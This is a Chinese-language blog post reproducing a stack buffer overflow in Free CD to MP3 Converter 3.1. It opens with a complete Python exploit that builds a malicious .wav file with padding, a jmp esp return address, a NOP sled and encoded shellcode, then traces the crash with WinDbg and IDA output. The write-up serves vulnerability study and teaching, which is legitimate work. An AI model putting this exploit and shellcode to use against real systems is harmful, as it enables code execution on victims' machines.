Free CD to MP3 Converter V3.1 栈溢出漏洞分析与利用

news/2024/9/30 2:19:34/

Free CD to MP3 Converter V3.1 栈溢出漏洞分析与利用

测试环境及工具:

windbg 
IDA
winxp sp3

这算是正式调试分析的第一个漏洞,也是跟着一位学长的博客做一个复现(原博客地址在文末)。这款软件是一款音频文件转换的软件,漏洞是未检查输入文件长度而导致的缓存区溢出。因为本地缓存溢出比较简单,所以适合新手。具体分析如下:

这是原博客的exp

filename = "222222.wav"
print "cr34t1ng 3v1l f1l3"junk ="\x41" * 4112
ret = "\xDC\x3A\xB4\x76"
## jmp esp from winmm.dll may be changed 
nopsled = "\x90" * 15shellcode = ("\xb8\xc7\xae\x8e\xae\xd9\xc7\x33\xc9\xb1\x31\xd9\x74\x24"
"\xf4\x5b\x31\x43\x14\x83\xeb\xfc\x03\x43\x10\x25\x5b\x72"
"\x46\x20\xa4\x8b\x97\x52\x2c\x6e\xa6\x40\x4a\xfa\x9b\x54"
"\x18\xae\x17\x1f\x4c\x5b\xa3\x6d\x59\x6c\x04\xdb\xbf\x43"
"\x95\xea\x7f\x0f\x55\x6d\xfc\x52\x8a\x4d\x3d\x9d\xdf\x8c"
"\x7a\xc0\x10\xdc\xd3\x8e\x83\xf0\x50\xd2\x1f\xf1\xb6\x58"
"\x1f\x89\xb3\x9f\xd4\x23\xbd\xcf\x45\x38\xf5\xf7\xee\x66"
"\x26\x09\x22\x75\x1a\x40\x4f\x4d\xe8\x53\x99\x9c\x11\x62"
"\xe5\x72\x2c\x4a\xe8\x8b\x68\x6d\x13\xfe\x82\x8d\xae\xf8"
"\x50\xef\x74\x8d\x44\x57\xfe\x35\xad\x69\xd3\xa3\x26\x65"
"\x98\xa0\x61\x6a\x1f\x65\x1a\x96\x94\x88\xcd\x1e\xee\xae"
"\xc9\x7b\xb4\xcf\x48\x26\x1b\xf0\x8b\x8e\xc4\x54\xc7\x3d"
"\x10\xee\x8a\x2b\xe7\x63\xb1\x15\xe7\x7b\xba\x35\x80\x4a"
"\x31\xda\xd7\x53\x90\x9e\x26\xa5\x29\x0b\xbe\x1f\xd8\x76"
"\xa2\xa0\x36\xb4\xdb\x22\xb3\x45\x18\x3a\xb6\x40\x64\xfd"
"\x2a\x39\xf5\x6b\x4d\xee\xf6\xbe\x3e\x78\x09")PirateAL = junk+ret+nopsled+shellcode
FILE = open(filename, "w")
FILE.write(PirateAL)
FILE.close()
print "t1m3 f0r pwn4g3"

因为要调试分析,所以把ret,nopsled和shellcode都换成字符’A’,如下所示:

filename = "test_poc.wav"
print "cr34t1ng 3v1l f1l3"junk ="\x41" * 4112
ret = "\x41" * 4
## jmp esp from winmm.dll may be changed 
nopsled = "\x41" * 15
shellcode = "\x41" * 227PirateAL = junk+ret+nopsled+shellcode
FILE = open(filename, "w")
FILE.write(PirateAL)
FILE.close()
print "t1m3 f0r pwn4g3"

运行上面的python代码生成一个test_poc.wav文件,复制到虚拟机winxp sp3的系统中,将Free MP3软件用windbg打开,输入命令g运行软件,并且用Free MP3软件打开test.wav文件,软件崩溃。

windbg定位到崩溃地点。

(ee8.a9c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=41414141 ecx=00001106 edx=00001106 esi=41414141 edi=41414141
eip=41414141 esp=0228feac ebp=41414141 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
41414141 ??              ???
*** WARNING: Unable to verify checksum for image00400000
*** ERROR: Module load completed but symbols could not be loaded for image00400000
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - 

输入命令kb查看栈回溯。

ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
0228fea8 41414141 41414141 41414141 41414141 0x41414141
0228ffa0 004047fe 0228ffdc 00404374 0228ffb4 0x41414141
0228ffb4 7c80b713 00bcfeb4 001a5858 00000118 image00400000+0x47fe
0228ffec 00000000 004047d4 00bcfeb4 00000000 kernel32!GetModuleFileNameA+0x1b4

可以看到在在没有被覆盖的栈帧中,最上面的是地址是004047fe处的函数,就是说在这个函数里面发生了崩溃。

接下来,重新载入Free CD软件,在该函数入口处,即004047fc (004047fe的前一个位置) 处设置断点,命令bp 004047fc,然后命令t,单步步入该函数。这里值得注意的是这个函数是第二次运行时才会触发,所以初次停到这个位置的时候,再次运行g命令。

0:004> g
Breakpoint 0 hit
eax=00bd85e8 ebx=00bd3800 ecx=00000000 edx=00424820 esi=0100ffff edi=00000020
eip=004047fc esp=0179ffa8 ebp=0179ffb4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
image00400000+0x47fc:
004047fc ffd2            call    edx {image00400000+0x24820 (00424820)}
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - 
0:004> t
eax=00bd85e8 ebx=00bd3800 ecx=00000000 edx=00424820 esi=0100ffff edi=00000020
eip=00424820 esp=0179ffa4 ebp=0179ffb4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
image00400000+0x24820:
00424820 55              push    ebp

进入该函数后,使用p命令一直单步步入,知道遇到

0:002> g 
eax=00bc4380 ebx=00bcfeb4 ecx=00000000 edx=00492130 esi=00000118 edi=00166fe8
eip=00424854 esp=01b3ff78 ebp=01b3ffa0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
image00400000+0x24854:
00424854 ff5204          call    dword ptr [edx+4]    ds:0023:00492134=00493090
0:002> g
(d10.c0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=41414141 ecx=00001106 edx=00001106 esi=41414141 edi=41414141
eip=41414141 esp=01b3feac ebp=41414141 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
41414141 ??              ???

由上可知,当调用00424854处的函数后,程序崩溃,那么就再进入这个函数看看。

重新载入该软件,并且在00424854处设置断点,然后单步步入该函数,继续重复上述的步骤,接下来会套娃五到六次,分别执行到如下地址的函数:

004047fe | call    edx {image00400000+0x24820 (00424820)}
00424854 | call    dword ptr [edx+4]    ds:0023:00492134=00493090
004930c4 | call    dword ptr [edx+3Ch]  ds:0023:0049d8a4=0049df40
0049df86 | call    image00400000+0x92e78 (00492e78)
00492ea7 | call    dword ptr [edx+44h]  ds:0023:00494b54=0049358c
004935ed | call    dword ptr [edx+68h]  ds:0023:00494b78=00495590
00495603 | call    image00400000+0x96f9c (00496f9c)

最后一个函数就是漏洞函数,原因是,这个函数执行完成后,才触发崩溃,而最后一个函数的地址是00496f9c

用IDA打开该软件,点击G键,查找函数00496f9c,找到该函数以后F5,反汇编,可以看到该函数反汇编以后的C语言代码。审计代码,可以发现大概就是分不同的类型进行操作。其中case1的部分就是wave类型。其中主要的操作就是调用sub_4954F4函数。使用windbg在004954f4位置处设置断点,然后持续运行,使用dd eax,dd eax前面的地址,还有ebx就会发现,这些位置的数值在不断的增加,而且增加的数值就是字符’A’,可以得到在这一部分代码就是不断的在向缓存中输入字符’A’。
在这里插入图片描述
现在的问题就是,在向缓存中输入字符’A’时,有没有限制或者有没有可能超过限制。

在IDA的反汇编的C语言代码中,有一个变量v3(实际操作中可能会有些改变),起作用就是计数器的作用,初值是4,每循环一次加4,最后有一个判断,如果v3 >= 0x2000,则退出,也就是说这个变量的值可以是0x2000以内的值。汇编代码中,其计数器作用的是ebx。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

而这个函数的开头是如下所示:
在这里插入图片描述
箭头1所示的部分,作用它的作用就是,从这个偏移量开始读入文件,即我们构造的’A’字符,它距离栈底的偏移量是1010h远远小于2000h所以可以构造字符串覆盖返回地址,由开篇的poc验证中,字符喜欢字节覆盖掉ebp可得,该程序对返回地址没有保护,所以可以使用jmp esp方法。

下面CODE:00496FBA处的代码lea edx, [esp+101Ch+var_1010]的作用就是:将edx指向局部变量,后面将用它来保存读取的文件内容,即我们构造的文件内容将会填充到栈空间。

字符串的结构如下:
首先是1010h的填充字符,即4112个字符,即junk ="\x41" * 4112;
其次是返回地址,即ret = “\xDC\x3A\xB4\x76”,该返回地址中的"\xDC\x3A\xB4\x76"是从,该软件的导入的动态链接库winmm.dll中找到的jmp esp命令地址。改地址也可以从kernel.dll中的寻找,具体的查找方法可以从0Day2中查看。
再其次是我们所使用的shellcode。该shellcode可以使用FSM得到。
最后,为防止shellcode数据被破坏,在shellcode前加上nopsled滑板,抬高栈顶保护数据。

最后是验证,用Free CD打开test_poc.wav,程序崩溃。

参考:
学长博客
参考博客2
windbg教程


http://www.ppmy.cn/news/177534.html

相关文章

Stapler: 1

Stapler: 1 项目地址:https://www.vulnhub.com/entry/stapler-1,150/ 文章目录 Stapler: 1一、信息收集:1. 靶机地址获取:2. 收集端口服务信息: 二、信息利用1. 针对12380端口进行web目录枚举:1.1 访问:ph…

Kolibri v2.0-Buffer Overflow成功复现

Kolibri v2.0-Buffer Overflow成功复现及分析 文件下载地址:http://pan.baidu.com/s/1eS9r9lS 正文 本次讲解用JMP ESP的方法溢出 关于网上的寻蛋指令将会在末尾给出地址 环境:windows xp sp3 工具:Immunity Debugger 配置Kolibri并开启服务 …

GMM Kmeans代码示例

GMM代码 #! /usr/bin/env python #codingutf-8from numpy import * import pylab import random,mathdef loadDataSet(fileName): #general function to parse tab -delimited floatsdataMat [] #assume last column is target valuefr open(fileName)f…

PCManFTP v2.0(CVE-2013-4730)漏洞分析报告

PCManFTP v2.0(CVE-2013-4730)漏洞分析报告 软件名称:PCManFTP 软件版本:2.0 漏洞模块:PCManFTPD2.exe 模块版本:2.0.0.0 编译日期:2005-01-01 操作系统:Windows XP/2003/7/8.1/10 漏…

【Python】torrentParser1.01

在昨天的版本上做了一些改进,如增加getAll,修改getSingleFileName等 代码: #------------------------------------------------------------------------------------ # torrentParser1.01,用于解析torrent文件 # 2018年5月9日 #----------------------------------------…

Python学习笔记--day09 函数 模块 (文件、路径操作)

第二模块 函数&模块 第一模块主要是学习python基础知识,从第二模块开始就可以通过程序去解决工作中实际的问题。 函数,一个用于专门实现某个功能的代码块(可重用)。 内置函数 len、bin、oct、heX等自定义函数 def send_email…

python使用requests获取内容编码后仍然乱码:c\x00\xa0a\x00@6s\xd6\x1b\x1f\x7f\xd5\x07\x14\x17\x17C\x07\x88\xaa

使用requests代理获取某个网站内容时,一直乱码,源代码是这样的: headers: "headers": {"accept": "text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application…

java.sql.SQLException: Incorrect string value: '\xE6\x88\x91\xE7\x9A\x84...' for column ...

重装mysql后,用Java程序往mysql中写数据,出现如下错误: java.sql.SQLException: Incorrect string value: \xE6\x88\x91\xE7\x9A\x84... for column title at row 1 解决方案: 原程序中向数据库中创建表的操作,语句如…